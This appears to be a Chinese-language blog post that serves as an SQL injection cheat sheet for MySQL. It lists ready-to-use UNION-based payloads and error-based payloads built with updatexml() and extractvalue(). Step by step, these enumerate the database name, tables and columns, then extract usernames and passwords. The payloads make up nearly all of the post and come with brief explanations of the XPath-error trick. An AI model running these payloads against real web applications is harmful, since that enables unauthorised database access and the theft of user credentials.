SQLInject

SQL注入

查表名

union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()

查字段名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()

查数据

union select 1,group_concat(username,":",password),3 from users

报错注入

updatexml函数

updataxml函数用法

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_documentString格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_valueString格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点

updatexml报错注入用法

查数据库的版本信息

and updatexml(1,concat(0x7e,@@version,0x7e),1)%23

因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错

查连接用户

and updatexml(1,concat(0x7e,user(),0x7e),1)%23

查表

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=数据库的十六进制表示),0x7e),1)%23
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7868) ,0x7e),1)%23
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

查字段名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=库的十六进制表示 and table_schema=表的十六进制表示),0x7e),1)%23
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)%23

查数据

and updatexml(1,concat(0x7e,(select concat_ws("~",列名) from 表名 limit 0,1),0x7e),1)%23
and updatexml(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e),1)%23

例子

and updatexml(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e),1)%23

extractvalue函数

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

extractvalue报错注入用法

查数据库的版本信息

and extractvalue(1,concat(0x7e,@@version,0x7e))%23

查表名

and extractvalue(1,concat(0x7e,database(),0x7e))%23

查连接用户

and extractvalue(1,concat(0x7e,user(),0x7e))%23

查表

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=数据库的十六进制表示),0x7e))%23
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7868),0x7e))%23
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23

查字段名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=库的十六进制表示 and table_schema=表的十六进制表示),0x7e))%23
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e))%23

查数据

and extractvalue(1,concat(0x7e,(select concat_ws("~",id,username,password) from users limit 0,1),0x7e))%23
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇